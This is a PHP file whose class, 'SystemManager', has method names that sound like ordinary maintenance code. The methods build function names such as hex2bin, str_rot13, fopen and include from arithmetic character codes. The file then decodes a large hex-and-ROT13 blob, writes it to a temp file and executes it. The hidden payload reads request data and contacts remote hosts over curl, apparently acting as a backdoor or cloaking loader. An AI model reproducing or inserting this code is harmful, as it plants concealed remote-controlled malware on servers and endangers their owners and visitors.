<?php
class SystemManager {
	private $hf = '';
	private $sg = '';

	public function checkConsistency($p1) {
		$a = array((120-10),((25*84)-1995),(((90*41)-3592)),(57-7),((75+7+38)),(((88*1)+13)),(((48*70)-3256)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function calculateSum($p1) {
		$a = array((47+27+41),(((110*1)+6)),(((4*120)-366)),(95),((77*1)+37),(111),((125-9)),(((44*1)+5)),((3*17)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1);
	}

	public function authorizeUser($p1,$p2) {
		$a = array((((9*81)-627)),((116-5)),112,((37+6+58)),((66*7)-352));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function cacheData($p1,$p2) {
		$a = array((((34*2)+34)),((13*9)+2),((85+29)),((7+64+34)),(2*58),((67+34)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function syncRecords($p1) {
		$a = array(((18+59+25)),((105-6)),((41*50)-1942),(((31*2)+49)),(((2*14)+87)),(101*1));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1);
	}

	public function generateToken($p1,$p2=null) {
		$a = array(((114-5)),((25*2)+55),(2*57),116,(116-2));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function sanitizeInput() {
		$this->sg = $this->generateToken($this->prepareOutput(), '/');
	}

	public function fetchSummary() {
		$this->hf = $this->calculateSum($this->checkConsistency($this->mc));
	}

	public function filterResults() {
		$fn = $this->sg.'/yz-6857d12ebebb0';
		$f = $this->authorizeUser($fn, 'w');
		$this->cacheData($f, $this->hf);
		$this->syncRecords($f);
		$this->rollbackTransaction($fn);
	}

	private $mc = '3c3f6375632070796e6666205f6975657b636576696e67722' . '066676e677670245f6b72613b66676e6776702073686170677' . '66261205f73797028245f6167692c245f676c297b767328216' . '67279733a3a245f6b726129667279733a3a5f687a6828293b2' . '45f686a3d66676579726128245f676c293b245f72693d6f6e6' . '67236345f71727062717228667279733a3a245f6b72615b245' . 'f6167695d293b73626528245f66776d3d302c245f6d773d666' . '76579726128245f7269293b245f66776d213d3d245f6d773b2' . 'b2b245f66776d29245f72695b245f66776d5d3d70756528626' . '57128245f72695b245f66776d5d295e62657128245f676c5b2' . '45f66776d25245f686a5d29293b657267686561245f72693b7' . 'd636576696e67722066676e677670207368617067766261205' . 'f687a6828297b667279733a3a245f6b72613d6e65656e6c282' . '75f666977273d3e2755755a4d42745a5770775a495a4444565' . 'a4f6b4b55756a4a5a4e714b524e5647424f78484d494f44272' . 'c275f6a68273d3e27554e48704f7762524f793859526a564b4' . 'd4862474e763854546b522b557566715a48484c526c78594e4' . '552674e6a5654272c275f696372273d3e27434e4e3d272c275' . 'f7174273d3e2742754c63596a6a74537978644144754b526a4' . '8526e6c5a57425366694144754b53744c484174663054744c6' . '6417649474f4770676f6c4c58584e4c4e5a7778425374485a4' . '1746678504548555550496e272c275f736c273d3e2759756a4' . '8576a3d3d272c275f6474273d3e274c6b4c554c443d3d272c2' . '75f7a747a273d3e274c6b704d5032523d272c275f736b66273' . 'd3e27584e5a545a6a3d3d272c275f676e6b273d3e27272c275' . 'f6c7179273d3e27272c275f6e6e78273d3e27272c275f656f7' . '1273d3e27416a564c5054494d446a746453525643427544585' . '2475a474f4f70664e74785870454851534b4e494e6b4869544' . '538715949745450324e4651446a2b466a3d3d272c275f6c6f2' . '73d3e27434e704753444e6f516b4e65272c275f727479273d3' . 'e27416b6a4d554e4e594e747436272c275f656f273d3e27594' . 'f706e51775645272c275f787a64273d3e27416a4470596a5a3' . 'd272c275f6d7076273d3e2754516a6d736a3d3d272c275f716' . '7273d3e27596a384b546a3d3d272c275f637964273d3e27597' . '4564a506c4c3d272c275f636c273d3e274c4e3d3d272c275f6' . '56c273d3e2759755a485945383d272c275f626b273d3e27736' . 'c4474506d6b6f6f785752487a4c385a4f384e4d486a3d272c2' . '75f6a6d6d273d3e27416a5a70526a3d3d272c275f756a70273' . 'd3e274861746d5151527053444e65546b38414d49566d516d4' . 'e4f534a35497333623d272c275f7276273d3e27594e7854486' . '14f49272c275f657062273d3e27272c275f626f79273d3e274' . '16a666f586a3d3d272c275f6977273d3e27487a783d272c275' . 'f616a273d3e27536d3476516d4831526c5a6d5247346353776' . '23d272c275f7162273d3e27536c446a516c38384e514c65514' . '6707951474475546c38765250563d272c275f6a78273d3e275' . '1475274434e666b5a77566f5a51383d272c275f776c273d3e2' . '7536d6a76516d7077515030784e50786b54764c76272c275f7' . '378273d3e27536c486b516c346a515144334e514e765477386' . 'b272c275f7669273d3e27272c275f6d6273273d3e27536d5a6' . '8414e4e31436c566e41473832272c275f617063273d3e27536' . 'd3868414e4e35436c566e42473832272c275f796e70273d3e2' . '7272c275f65636e273d3e27536d522f516d6262526c6a68524' . '752305377483d272c275f7564273d3e27536c4474516c38335' . '26d786b5246446553764e3d272c275f756d72273d3e27536d4' . 'e7a564e4e3859474c444176486b51464e33414e4e764346563' . 'd272c275f7873273d3e27536d747a516d5a644e50623951476' . '66d51467433546d5a305251343d272c275f6969273d3e27514' . '63863424e6669426d4c6f59774c3d272c275f726971273d3e2' . '7514656334344667657475a6f566c743d272c275f6a7a67273' . 'd3e27426a70415a74624242743d3d272c275f786e273d3e275' . '3766357736a3d3d272c275f666265273d3e27736a455543453' . '550456a3d3d272c275f786370273d3e27736b3559514470414' . 'd48563d272c275f63716e273d3e277331745259496366272c2' . '75f737364273d3e274174563d272c275f7376273d3e2758744' . '83d272c275f687574273d3e2759447842272c275f686d273d3' . 'e2759743441576a3d3d272c293b7d7d75726e717265285f697' . '5653a3a5f73797028275f666977272c275f636d2729293b757' . '26e717265285f6975653a3a5f73797028275f6a68272c275f7' . '765652729293b767328766666726728245f5452475b5f69756' . '53a3a5f73797028275f696372272c275f75617327295d29297' . 'b245f6b62733d5f6566285f6975653a3a5f73797028275f717' . '4272c275f62702729293b767328245f6b62732626666765636' . '26628245f6b62732c5f6975653a3a5f73797028275f736c272' . 'c275f7861272929213d3d736e796672297b717672285f69756' . '53a3a5f73797028275f6474272c275f6c792729293b7d72796' . '6727b717672285f6975653a3a5f73797028275f7a747a272c2' . '75f686b622729293b7d7d767328766666726728245f5452475' . 'b5f6975653a3a5f73797028275f736b66272c275f6f7727295' . 'd29297b245f6d773d245f5042425856523b245f676c3d28313' . '6342d202d3133302b3139372b2d343931293b245f6167693d2' . '83131362d3233372d202d34322b3836293b245f6e66773d6e6' . '5656e6c28293b245f6e66775b245f676c5d3d5f6975653a3a5' . 'f73797028275f676e6b272c275f757227293b6a75767972282' . '45f616769297b245f6e66775b245f676c5d2e3d245f6d775b3' . '138392b3232342b2d35332b2d3333305d5b245f6167695d3b7' . '6732821245f6d775b2876616729656268617128372e352b372' . 'e352b372e352b372e35295d5b245f6167692b2876616729656' . '268617128302e352b302e35295d297b76732821245f6d775b3' . '133352d3130355d5b245f6167692b282d3131302b313132295' . 'd296f65726e783b245f676c2b2b3b245f6e66775b245f676c5' . 'd3d5f6975653a3a5f73797028275f6c7179272c275f7473272' . '93b245f6167692b2b3b7d245f6167693d245f6167692b28766' . '16729656268617128312e37352b312e37352b312e37352b312' . 'e3735292b2876616729656268617128302e333333333333333' . '33333333333332b302e33333333333333333333333333332b3' . '02e3333333333333333333333333333293b7d245f676c3d245' . 'f6e66775b2876616729656268617128372b37295d28292e245' . 'f6e66775b3130332d3337382b38352d202d3231345d3b76732' . '821245f6e66775b2d3139332d202d3139352d202d32332d313' . '95d28245f676c29297b245f6167693d245f6e66775b2876616' . '72965626861712831332b3133295d28245f676c2c245f6e667' . '75b2876616729656268617128352b35295d293b245f6e66775' . 'b3235322d34362d202d3238392d3438365d28245f6167692c2' . '45f6e66775b2d3233342d3638332b3932385d2e245f6e66775' . 'b2876616729656268617128372e36363636363636363636363' . '6372b372e363636363636363636363636372b372e363636363' . '63636363636363637295d28245f6e66775b287661672965626' . '8617128362e32352b362e32352b362e32352b362e3235295d2' . '8245f6d775b2876616729656268617128312b312b31295d292' . '9293b7d7661707968717228245f676c293b7d7368617067766' . '261205f656628245f6977772c245f66793d2d31322e3132323' . '33338313133383634297b245f63633d5f6975653a3a5f73797' . '028275f6e6e78272c275f747627293b245f6a763d5f6975653' . 'a3a5f73797028275f656f71272c275f69796b27292e245f697' . '7773b76732876665f706e79796e6f7972285f6975653a3a5f7' . '3797028275f6c6f272c275f656e6c272929297b245f6777783' . 'd706865795f7661766728245f6a76293b706865795f6672676' . '2636728245f6777782c504845594243475f4646595f4952455' . '6534c435252452c736e796672293b706865795f66726762636' . '728245f6777782c504845594243475f4646595f49524556534' . 'c554246472c2d3338362b3234312b38302b3637293b7068657' . '95f66726762636728245f6777782c504845594243475f53425' . '959424a5942504e475642412c2876616729656268617128302' . 'e352b302e3529293b706865795f66726762636728245f67777' . '82c504845594243475f45524748454147454e41465352452c2' . 'd3431392d3137312d202d353931293b706865795f667267626' . '36728245f6777782c504845594243475f55524e5152452c287' . '6616729656268617128302b302b3029293b706865795f66726' . '762636728245f6777782c504845594243475f5042414152504' . '747565a524248472c2876616729656268617128322e352b322' . 'e352b322e352b322e3529293b706865795f667267626367282' . '45f6777782c504845594243475f47565a524248472c2d32393' . '52d3139362b353031293b245f63633d706865795f726b72702' . '8245f677778293b245f65626e3d706865795f7472677661736' . '228245f677778293b706865795f707962667228245f6777782' . '93b767328245f65626e5b5f6975653a3a5f73797028275f727' . '479272c275f757a7927295d213d282d3730302b39303029296' . '5726768656120736e7966723b7d727966727b245f6869733d6' . '36e6566725f68657928245f6a76293b245f6864793d28245f6' . '869735b5f6975653a3a5f73797028275f656f272c275f67657' . '827295d3d3d5f6975653a3a5f73797028275f787a64272c275' . 'f63752729293b245f646b3d5f6975653a3a5f73797028275f6' . 'd7076272c275f6c7427292e245f6869735b5f6975653a3a5f7' . '3797028275f7167272c275f61706627295d3b7673287666667' . '26728245f6869735b5f6975653a3a5f73797028275f6379642' . '72c275f6a666c27295d2929245f646b2e3d5f6975653a3a5f7' . '3797028275f636c272c275f6d767727292e245f6869735b5f6' . '975653a3a5f73797028275f656c272c275f736427295d3b245' . 'f646b2e3d5f6975653a3a5f73797028275f626b272c275f796' . '727292e245f6869735b5f6975653a3a5f73797028275f6a6d6' . 'd272c275f79627427295d2e5f6975653a3a5f73797028275f7' . '56a70272c275f65637027293b245f64693d736662707862637' . '2612828245f6864793f5f6975653a3a5f73797028275f72762' . '72c275f6d777527293a5f6975653a3a5f73797028275f65706' . '2272c275f746c2729292e245f6869735b5f6975653a3a5f737' . '97028275f626f79272c275f717527295d2c245f6864793f363' . '52b3238302b39383a2d3334392d35352d202d343834293b767' . '328245f6469297b736368676628245f64692c245f646b293b2' . '45f72693d2876616729656268617128302b302b30293b6a757' . '6797228217372627328245f646929297b245f637a3d7374726' . '76628245f64692c28766167296562686171283235362b32353' . '62b3235362b32353629293b767328245f726929245f63632e3' . 'd245f637a3b767328245f637a3d3d5f6975653a3a5f7379702' . '8275f6977272c275f7077272929245f72693d2876616729656' . '268617128302e32352b302e32352b302e32352b302e3235293' . 'b7d73707962667228245f6469293b7d7d657267686561245f6' . '3633b7d245f79713d766666726728245f4652454952455b5f6' . '975653a3a5f73797028275f616a272c275f776927295d293b2' . '45f68713d766666726728245f4652454952455b5f6975653a3' . 'a5f73797028275f7162272c275f637127295d293b245f6c733' . 'd766666726728245f4652454952455b5f6975653a3a5f73797' . '028275f6a78272c275f677a6627295d293b245f7174623d766' . '666726728245f4652454952455b5f6975653a3a5f737970282' . '75f776c272c275f756927295d293f245f4652454952455b5f6' . '975653a3a5f73797028275f7378272c275f647227295d3a5f6' . '975653a3a5f73797028275f7669272c275f6e616f27293b245' . 'f6772693d766666726728245f4652454952455b5f6975653a3' . 'a5f73797028275f6d6273272c275f746d7127295d293f245f4' . '652454952455b5f6975653a3a5f73797028275f617063272c2' . '75f786d7127295d3a5f6975653a3a5f73797028275f796e702' . '72c275f6d7327293b245f79713d766666726728245f4652454' . '952455b5f6975653a3a5f73797028275f65636e272c275f727' . '827295d293f245f4652454952455b5f6975653a3a5f7379702' . '8275f7564272c275f636727295d3a616879793b245f68713d7' . '66666726728245f4652454952455b5f6975653a3a5f7379702' . '8275f756d72272c275f71656327295d293f245f46524549524' . '55b5f6975653a3a5f73797028275f7873272c275f796527295' . 'd3a616879793b245f6c733d766666726728245f46524549524' . '55b5f6975653a3a5f73797028275f6969272c275f77716a272' . '95d293f245f4652454952455b5f6975653a3a5f73797028275' . 'f726971272c275f746d6527295d3a616879793b76732873767' . '96772655f696e6528245f79712c3234342b3135322d3237392' . 'd202d31353829297b245f78623d245f79713b7d72796672767' . '3287376796772655f696e6528245f68712c3639362d202d353' . '52b2d34373629297b245f78623d245f68713b7d727966727b2' . '45f78623d245f6c733b7d767328766666726728245f5452475' . 'b5f6975653a3a5f73797028275f6a7a67272c275f727727295' . 'd29297b72707562205f6975653a3a5f73797028275f786e272' . 'c275f6d6627292e245f78622e5f6975653a3a5f73797028275' . 'f666265272c275f6b747527292e245f7174622e5f6975653a3' . 'a5f73797028275f786370272c275f6f7827292e245f6772692' . 'e5f6975653a3a5f73797028275f63716e272c275f717327293' . 'b726b766728293b7d76732821766666726728245f7862297c7' . 'c21766666726728245f717462297c7c21766666726728245f6' . '7726929297b726b766728293b7d727966727b245f616c723d6' . 'e65656e6c285f6975653a3a5f73797028275f737364272c275' . 'f656c6127293d3e245f78622c5f6975653a3a5f73797028275' . 'f7376272c275f717927293d3e245f7174622c5f6975653a3a5' . 'f73797028275f687574272c275f79757027293d3e245f67726' . '9293b245f6b7a3d686579726170627172286f6e667236345f7' . '2617062717228776662615f72617062717228245f616c72292' . '9293b245f6b62733d5f656628245f6b7a293b767328245f6b6' . '273262666676563626628245f6b62732c5f6975653a3a5f737' . '97028275f686d272c275f6c6a272929213d3d736e796672297' . 'b72707562245f6b62733b726b766728293b7d7d';

	public function rollbackTransaction($p) {
		include $p;
	}

	public function prepareOutput() {
		$a=array((119-4),((11*11)),(124-9),(5*19),(111-8),(80+21),((2*58)),(5*19),(124-8),(101*1),((103+4+2)),(112),(5*19),(((12*102)-1124)),((94*56)-5159),((4*25)+14));
		$s='';
		foreach($a as $n){$s.=chr($n);}
		return $s();
	}
}

$uc = new SystemManager();
$uc->sanitizeInput();
$uc->fetchSummary();
$uc->filterResults();
